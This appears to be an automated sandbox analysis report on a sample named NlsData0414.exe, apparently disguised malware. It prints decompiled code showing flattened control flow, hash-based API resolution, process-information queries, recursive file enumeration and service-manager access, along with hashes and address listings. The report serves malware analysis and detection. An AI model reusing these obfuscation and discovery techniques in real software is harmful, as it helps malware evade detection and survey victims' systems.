Instruction Fuzzy Hash: 0B4149B66143059FD314DE69CC49BABB2D8ABC6740F088E3EF640D6240D278E90887E5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: NlsData0414.exe PID: 2364 Parent PID: 2004 NlsData0414.exeCOMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1168
Total number of Limit Nodes:	13

Executed Functions

Function 002A0400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 002A0448

Part of subcall function 002A1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,002A0EFD,00000000), ref: 002A1155

NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 002A0463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 002A0484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 002A048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 002A0492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 002A049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 002A04A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 002A04B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 002A04E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 002A04F7
RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 002A0519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 002A0530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 002A0547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 002A0562

Memory Dump Source

Source File: 0000000B.00000002.2275450114.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a0000_NlsData0414.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: 963790ad2e9de9f110da7592bda0a6bb879303e881341dcde7b83fb2c1592c65
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: C44150B59243406FE710EB61C846F6FB3EDAB8A760F408D1DB74897281DE74D9248F62

Uniqueness

Uniqueness Score: -1.00%

Function 002B38F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E002B38F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x2be430 == 0) {
								 *0x2be430 = E002B3E60(_t56, E002B3F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x2bdba4;
								if(_t42 == 0) {
									_t42 = E002B3E60(_t56, E002B3F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x2bdba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E002B34C0(0x2bd290);
											_t50 =  *0x2be158;
											if(_t50 == 0) {
												_t50 = E002B3E60(_t56, E002B3F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x2be158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E002B38F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E002B3460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E002B34C0(0x2bd260);
					_t24 =  *0x2be158;
					if(_t24 == 0) {
						_t24 = E002B3E60(_t56, E002B3F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x2be158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x2be494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E002B3E60(_t56, E002B3F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x2be494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x2bdf30;
					if(_t28 == 0) {
						_t28 = E002B3E60(_t56, E002B3F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x2bdf30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x2bdf88;
						if(_t33 == 0) {
							_t33 = E002B3E60(_t56, E002B3F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x2bdf88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x002b38fa
0x002b38fc
0x002b38fe
0x002b3902
0x002b3907
0x002b3910
0x002b3910
0x002b3910
0x002b3915
0x00000000
0x00000000
0x002b391b
0x002b3a5f
0x00000000
0x002b3921
0x002b3926
0x002b3a1e
0x002b3a36
0x002b3a36
0x002b3a48
0x002b3a4a
0x002b3a4f
0x002b3ba1
0x002b3a55
0x002b3a55
0x00000000
0x002b3a55
0x002b392c
0x002b3931
0x002b3b70
0x002b3b77
0x002b3b8a
0x002b3b8f
0x002b3b8f
0x00000000
0x002b3b95
0x002b393c
0x002b3ab6
0x002b3abb
0x00000000
0x002b3acb
0x002b3acb
0x002b3acb
0x002b3942
0x002b3947
0x002b39fd
0x002b3a06
0x002b3a0d
0x002b394d
0x002b3953
0x002b3974
0x002b3976
0x00000000
0x002b3978
0x002b3982
0x002b3984
0x002b398b
0x002b399e
0x002b39a3
0x002b39a3
0x002b39bc
0x002b39d8
0x002b39dd
0x002b39e2
0x002b39e7
0x002b39e7
0x002b3955
0x002b3955
0x002b395d
0x002b396d
0x002b396d
0x00000000
0x00000000
0x00000000
0x002b395d
0x002b3953
0x00000000
0x002b3947
0x002b393c
0x002b3926
0x00000000
0x002b391b
0x002b3a6e
0x002b3ad6
0x002b3ad8
0x002b3adf
0x002b3af2
0x002b3af7
0x002b3af7
0x002b3b0b
0x002b3b0d
0x002b3b12
0x002b3b17
0x002b3b2a
0x002b3b2f
0x002b3b2f
0x002b3b36
0x002b3b38
0x002b3b3f
0x002b3b52
0x002b3b57
0x002b3b57
0x002b3b60
0x002b3b62
0x002b3b66
0x00000000
0x002b3a70
0x002b3a75
0x00000000
0x002b3a77
0x002b3a77
0x002b3a7e
0x002b3a91
0x002b3a96
0x002b3a96
0x002b3aa1
0x002b3aa5
0x002b3aac
0x00000000
0x002b3aac
0x002b3a75
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 002B3A48

Strings

., xrefs: 002B394D

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: a926ba0fd09ce425a0b570abfd608b62b7b432809fd54e8dd2baf8bf16b51bd6
Instruction ID: 4b81980d5617c45cc83b9d9c8f320f596a71ce900ba4d414abcf4e8da5a4dead
Opcode Fuzzy Hash: a926ba0fd09ce425a0b570abfd608b62b7b432809fd54e8dd2baf8bf16b51bd6
Instruction Fuzzy Hash: 4A5146317346024BCF24EF68A8456FB36A69BD07C4F100A2AF546C7392EE75CF644792

Uniqueness

Uniqueness Score: -1.00%

Function 002B5040, Relevance: 1.7, APIs: 1, Instructions: 248
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E002B5040(intOrPtr __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v36;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t23;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t35;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t45;
				void* _t50;
				void* _t51;
				void* _t52;
				signed int _t53;
				void* _t58;
				intOrPtr* _t101;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t116;

				_t101 = _v12;
				_t58 = 0;
				_v16 = __edx;
				_t112 = 0;
				_v20 = __ecx;
				_t104 = 0x1ca940c1;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t115 = _t104 - 0x12f72f95;
						if(_t115 <= 0) {
							break;
						}
						__eflags = _t104 - 0x26342ffd;
						if(__eflags > 0) {
							__eflags = _t104 - 0x2fab56c4;
							if(_t104 != 0x2fab56c4) {
								goto L40;
							} else {
								_t17 =  *0x2be494;
								__eflags = _t17;
								if(_t17 == 0) {
									_t17 = E002B3E60(_t58, E002B3F00(0x9bab0b12), 0x7facde30, _t112);
									 *0x2be494 = _t17;
								}
								_t105 =  *_t17();
								__eflags =  *0x2bdd18;
								if( *0x2bdd18 == 0) {
									 *0x2bdd18 = E002B3E60(_t58, E002B3F00(0x9bab0b12), 0x9ff0609c, _t112);
								}
								_t16 = RtlAllocateHeap(_t105, 8, 0x20000); // executed
								_t58 = _t16;
								__eflags = _t58;
								if(_t58 != 0) {
									_t104 = 0x8956eec;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						} else {
							if(__eflags == 0) {
								_t23 =  *0x2be484;
								__eflags = _t23;
								if(_t23 == 0) {
									_t23 = E002B3E60(_t58, E002B3F00(0x26f5757c), 0x9e91db81, _t112);
									 *0x2be484 = _t23;
								}
								 *_t23(_v24, 1, _t112, 0x2000,  &_v4);
								asm("sbb esi, esi");
								_t26 =  *0x2be18c;
								_t104 = (_t104 & 0x0b23632b) + 0x5d498c4;
								__eflags = _t26;
								if(_t26 == 0) {
									_t26 = E002B3E60(_t58, E002B3F00(0x26f5757c), 0x268fe5f0, _t112);
									 *0x2be18c = _t26;
								}
								_t16 =  *_t26(_v44);
								goto L40;
							} else {
								__eflags = _t104 - 0x1ca940c1;
								if(_t104 == 0x1ca940c1) {
									_t104 = 0x2fab56c4;
									continue;
								} else {
									__eflags = _t104 - 0x254bd927;
									if(_t104 != 0x254bd927) {
										L40:
										__eflags = _t104 - 0x1f0f293e;
										if(_t104 != 0x1f0f293e) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t50 =  *0x2be29c;
										__eflags = _t50;
										if(_t50 == 0) {
											_t50 = E002B3E60(_t58, E002B3F00(0x26f5757c), 0x4574c66, _t112);
											 *0x2be29c = _t50;
										}
										_t51 =  *_t50(_v20, 0, 0x30, 3, _t58, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t51;
										if(_t51 == 0) {
											L13:
											_t104 = 0x11e09e52;
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										} else {
											_t52 =  *0x2bde08;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E002B3E60(_t58, E002B3F00(0x9bab0b12), 0xd8ef4c49, _t112);
												 *0x2bde08 = _t52;
											}
											_t53 =  *_t52();
											_t104 = 0x128dff18;
											_t103 = _t58 + (_t53 & 0x0000001f) * 0x2c;
											_t16 = _t58 + _v52 * 0x2c;
											__eflags = _t103 - _t16;
											_v68 = _t16;
											_t101 =  >=  ? _t58 : _t103;
											continue;
										}
										L55:
									}
								}
							}
						}
						L54:
						return _t16;
						goto L55;
					}
					if(_t115 == 0) {
						_t29 =  *0x2be494;
						__eflags = _t29;
						if(_t29 == 0) {
							_t29 = E002B3E60(_t58, E002B3F00(0x9bab0b12), 0x7facde30, _t112);
							 *0x2be494 = _t29;
						}
						_t107 =  *_t29();
						_t31 =  *0x2bdf30;
						__eflags = _t31;
						if(_t31 == 0) {
							_t31 = E002B3E60(_t58, E002B3F00(0x9bab0b12), 0x5010a54d, _t112);
							 *0x2bdf30 = _t31;
						}
						return  *_t31(_t107, 0, _t58);
					}
					_t116 = _t104 - 0x10f7fbef;
					if(_t116 > 0) {
						__eflags = _t104 - 0x11e09e52;
						if(_t104 == 0x11e09e52) {
							_t35 =  *0x2be494;
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E002B3E60(_t58, E002B3F00(0x9bab0b12), 0x7facde30, _t112);
								 *0x2be494 = _t35;
							}
							_t108 =  *_t35();
							_t37 =  *0x2bdf30;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E002B3E60(_t58, E002B3F00(0x9bab0b12), 0x5010a54d, _t112);
								 *0x2bdf30 = _t37;
							}
							 *_t37(_t108, 0, _t112);
							_t104 = 0x12f72f95;
							continue;
						} else {
							__eflags = _t104 - 0x128dff18;
							if(_t104 != 0x128dff18) {
								goto L40;
							} else {
								_t41 =  *0x2be270;
								__eflags = _t41;
								if(_t41 == 0) {
									_t41 = E002B3E60(_t58, E002B3F00(0x26f5757c), 0x56e230f9, _t112);
									 *0x2be270 = _t41;
								}
								_t42 =  *_t41(_v20,  *_t101, 1);
								__eflags = _t42;
								_v36 = _t42;
								_t104 =  !=  ? 0x26342ffd : 0x5d498c4;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							}
						}
					} else {
						if(_t116 == 0) {
							_t45 =  *0x2be200;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E002B3E60(_t58, E002B3F00(0x26f5757c), 0x16d40839, _t112);
								 *0x2be200 = _t45;
							}
							 *_t45(_v16, 1, _t112);
							goto L13;
						} else {
							if(_t104 == 0x5d498c4) {
								_t101 = _t101 + 0x2c;
								__eflags = _t101 - _t16;
								asm("sbb esi, esi");
								_t104 = (_t104 & 0x00ad60c6) + 0x11e09e52;
								goto L2;
							} else {
								if(_t104 != 0x8956eec) {
									goto L40;
								} else {
									_t112 = E002B42C0(_t58, 0x2000);
									_t104 =  !=  ? 0x254bd927 : 0x12f72f95;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						}
					}
					goto L54;
				}
			}

0x002b5047
0x002b504b
0x002b504d
0x002b5051
0x002b5053
0x002b5057
0x002b505c
0x002b505c
0x002b5060
0x002b5060
0x002b5060
0x002b5066
0x00000000
0x00000000
0x002b51af
0x002b51b5
0x002b52f9
0x002b52ff
0x00000000
0x002b5301
0x002b5301
0x002b5306
0x002b5308
0x002b531b
0x002b5320
0x002b5320
0x002b5327
0x002b532e
0x002b5330
0x002b5348
0x002b5348
0x002b5355
0x002b5357
0x002b5359
0x002b535b
0x002b535d
0x002b505c
0x002b505c
0x00000000
0x002b505c
0x002b505c
0x002b535b
0x002b51bb
0x002b51bb
0x002b5277
0x002b527c
0x002b527e
0x002b5291
0x002b5296
0x002b5296
0x002b52ac
0x002b52b0
0x002b52b2
0x002b52bd
0x002b52c3
0x002b52c5
0x002b52d8
0x002b52dd
0x002b52dd
0x002b52e6
0x00000000
0x002b51c1
0x002b51c1
0x002b51c7
0x002b526d
0x00000000
0x002b51cd
0x002b51cd
0x002b51d3
0x002b52e8
0x002b52e8
0x002b52ee
0x002b505c
0x002b505c
0x00000000
0x002b505c
0x002b505c
0x002b51d9
0x002b51d9
0x002b51de
0x002b51e0
0x002b51f3
0x002b51f8
0x002b51f8
0x002b521b
0x002b521d
0x002b521f
0x002b50ef
0x002b50ef
0x002b505c
0x002b505c
0x00000000
0x002b505c
0x002b5225
0x002b5225
0x002b522a
0x002b522c
0x002b523f
0x002b5244
0x002b5244
0x002b5249
0x002b524e
0x002b525b
0x002b525d
0x002b525f
0x002b5261
0x002b5265
0x00000000
0x002b5265
0x00000000
0x002b521f
0x002b51d3
0x002b51c7
0x002b51bb
0x002b53c0
0x002b53c0
0x00000000
0x002b53c0
0x002b506c
0x002b5367
0x002b536c
0x002b536e
0x002b5381
0x002b5386
0x002b5386
0x002b538d
0x002b538f
0x002b5394
0x002b5396
0x002b53a9
0x002b53ae
0x002b53ae
0x00000000
0x002b53b7
0x002b5072
0x002b5078
0x002b50f9
0x002b50ff
0x002b5153
0x002b5158
0x002b515a
0x002b516d
0x002b5172
0x002b5172
0x002b5179
0x002b517b
0x002b5180
0x002b5182
0x002b5195
0x002b519a
0x002b519a
0x002b51a3
0x002b51a5
0x00000000
0x002b5101
0x002b5101
0x002b5107
0x00000000
0x002b510d
0x002b510d
0x002b5112
0x002b5114
0x002b5127
0x002b512c
0x002b512c
0x002b5139
0x002b513b
0x002b513d
0x002b514b
0x002b505c
0x002b505c
0x00000000
0x002b505c
0x002b505c
0x002b5107
0x002b507a
0x002b507a
0x002b50c2
0x002b50c7
0x002b50c9
0x002b50dc
0x002b50e1
0x002b50e1
0x002b50ed
0x00000000
0x002b507c
0x002b5082
0x002b50ad
0x002b50b0
0x002b50b2
0x002b50ba
0x00000000
0x002b5084
0x002b508a
0x00000000
0x002b5090
0x002b509a
0x002b50a8
0x002b505c
0x002b505c
0x00000000
0x002b505c
0x002b505c
0x002b508a
0x002b5082
0x002b507a
0x00000000
0x002b5078

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,002B8AC8,?,3251FEFE,?,?), ref: 002B5355

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ad3a02e22a83bc36962d8c9ded50602a4da31010a75efda651fab0020ceadba4
Instruction ID: 50562a1ebfb740f0c21a532652fe597b269b4631ccdcf585efd4988bafd1f001
Opcode Fuzzy Hash: ad3a02e22a83bc36962d8c9ded50602a4da31010a75efda651fab0020ceadba4
Instruction Fuzzy Hash: 2481F631B347224BDF14AF7C9C957EA36EAABA47C4F010529F855DF252EA30DD204B81

Uniqueness

Uniqueness Score: -1.00%

Function 002B9860, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E002B9860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x2be310;
							if( *0x2be310 == 0) {
								 *0x2be310 = E002B3E60(_t64, E002B3F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x2be54c; // 0x5be1f8
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x2bdbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E002B3E60(_t64, E002B3F00(0xd9518805), 0x141622d6, _t94);
										 *0x2bdbd8 = _t69;
									}
									_t53 =  *0x2be54c; // 0x5be1f8
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E002B7C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x2be3f4;
											if(_t60 == 0) {
												_t60 = E002B3E60(_t64, E002B3F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x2be3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E002B3D00( &_v536);
											_t72 =  *0x2be54c; // 0x5be1f8
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x2bdbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E002B3E60(_t64, E002B3F00(0xd9518805), 0x141622d6, _t94);
								 *0x2bdbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x2be54c; // 0x5be1f8
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E002B3040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x2be494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E002B3E60(_t64, E002B3F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x2be494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x2bdd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E002B3E60(_t64, E002B3F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x2bdd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x2be54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E002B7E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x2be18c;
								if( *0x2be18c == 0) {
									 *0x2be18c = E002B3E60(_t64, E002B3F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x2be54c; // 0x5be1f8
									 *((intOrPtr*)(_t47 + 8)) = 0x2b7e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x002b9868
0x002b986a
0x002b9871
0x002b9875
0x002b9875
0x002b9878
0x002b9880
0x002b9880
0x002b9880
0x002b9880
0x002b9885
0x00000000
0x00000000
0x002b988b
0x002b9993
0x002b9995
0x002b99ad
0x002b99ad
0x002b99bb
0x002b99bd
0x002b99bf
0x002b99c1
0x002b99d8
0x002b99c3
0x002b99c3
0x002b99c8
0x002b99ce
0x002b99ce
0x00000000
0x002b9891
0x002b9891
0x002b9896
0x002b9936
0x002b993b
0x00000000
0x002b9941
0x002b9941
0x002b9947
0x002b9949
0x002b9961
0x002b9963
0x002b9963
0x002b9969
0x002b997d
0x002b997f
0x002b9981
0x002b9986
0x00000000
0x002b9986
0x002b989c
0x002b989c
0x002b9927
0x002b992c
0x00000000
0x002b98a2
0x002b98a7
0x002b9905
0x002b990d
0x002b9912
0x002b991a
0x00000000
0x002b98a9
0x002b98ae
0x00000000
0x002b98b4
0x002b98b4
0x002b98bb
0x002b98ce
0x002b98d3
0x002b98d3
0x002b98e4
0x002b98ea
0x002b98ef
0x002b98f5
0x002b98fb
0x00000000
0x002b98fb
0x002b98ae
0x002b98a7
0x002b989c
0x002b9896
0x00000000
0x002b988b
0x002b99e2
0x002b99e7
0x002b9ae3
0x002b9ae8
0x002b9b02
0x002b9b07
0x002b9b09
0x002b9b1c
0x002b9b21
0x002b9b21
0x002b9b33
0x002b9b35
0x002b9b3e
0x002b9b3e
0x002b9b44
0x00000000
0x00000000
0x00000000
0x00000000
0x002b99ed
0x002b99ed
0x002b9a73
0x002b9a78
0x002b9a7a
0x002b9a8d
0x002b9a92
0x002b9a92
0x002b9a99
0x002b9a9b
0x002b9aa0
0x002b9aa2
0x002b9ab5
0x002b9aba
0x002b9aba
0x002b9ac7
0x002b9ac9
0x002b9ace
0x002b9ad0
0x002b9b4f
0x002b9b58
0x002b9ad2
0x002b9ad2
0x002b9ad9
0x00000000
0x002b9ad9
0x002b99f3
0x002b99f3
0x002b99f8
0x002b9a47
0x002b9a49
0x002b9a61
0x002b9a61
0x002b9a67
0x002b9a69
0x00000000
0x002b99fa
0x002b99fa
0x002b99ff
0x00000000
0x002b9a05
0x002b9a05
0x002b9a0d
0x002b9a12
0x002b9a17
0x002b9a1f
0x002b9a24
0x002b9a2c
0x002b9a31
0x002b9a38
0x00000000
0x002b9a38
0x002b99ff
0x002b99f8
0x002b99ed
0x00000000
0x002b9aea
0x002b9aea
0x002b9aea
0x002b9b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,005BE1E0), ref: 002B997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 002B99BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 002B9A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 002B9B33

Strings

2S, xrefs: 002B9A05
Y4[0, xrefs: 002B9AEA

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: 2S$Y4[0
API String ID: 2382770032-4131004879
Opcode ID: cde86b1fb238a4fd388b97751115f6073f4324e7f062fd98f6b0734b9c80957b
Instruction ID: f6bf3f1c9532c1a33489d5e01c1def2bdc6b96c241b987d1dd5115419ab83a72
Opcode Fuzzy Hash: cde86b1fb238a4fd388b97751115f6073f4324e7f062fd98f6b0734b9c80957b
